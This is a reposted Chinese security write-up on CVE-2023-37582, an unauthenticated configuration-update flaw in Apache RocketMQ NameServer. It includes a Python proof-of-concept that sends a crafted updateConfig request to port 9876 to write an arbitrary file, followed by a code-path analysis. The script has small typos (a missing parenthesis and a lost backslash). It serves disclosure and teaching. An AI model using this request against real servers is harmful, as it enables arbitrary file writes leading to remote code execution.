CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

admin 2023年8月1日13:15:43评论73 views字数 2339阅读7分47秒阅读模式
CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

漏洞简介

Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中,由于对 CVE-2023-33246 修复不完善,导致在Apache RocketMQ NameServer 存在未授权访问的情况下,攻击者可构造恶意请求以RocketMQ运行的系统用户身份执行命令。

影响版本

Apache RocketMQ <= 5.1.1
Apache RocketMQ <= 4.9.6

环境搭建

参考 Apache RocketMQ 远程代码执行漏洞 CVE-2023-33246 的环境搭建

还是为了方便进行调试,我们再 linux 下搭建 RocketMQ 的相关服务,利用源码启动

一共需要运行两个服务

org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup

先启动 NamesrvStartup,再启动 BrokerStartup 同时都需要配置环境变量 ROCKETMQ_HOME
ROCKETMQ_HOME=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

漏洞复现

运行 python 脚本

import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',9876))

# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txtnproductEnvName=123\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2# 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

成功在 tmp 目录下的 test.txt 文件中写入指定字符串 test

漏洞分析

org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能,此时调用的是318 更新配置的操作

src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

根据对应的 code 会调用 对应的函数进行处理

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

src/main/java/org/apache/rocketmq/remoting/Configuration.java#update

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

首先判断是不是属于可控的属性

src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

调用 getStorePath 获取文件路径,此时获取的值是 configStorePath 的值

src/main/java/org/apache/rocketmq/common/MixAll.java#string2File

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

漏洞修复

修改禁用修改配置路径的参数

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞
原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!

CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞
靶场实操,戳“阅读原文“

原文始发于微信公众号(合天网安实验室):CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月1日13:15:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞https://cn-sec.com/archives/1923468.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息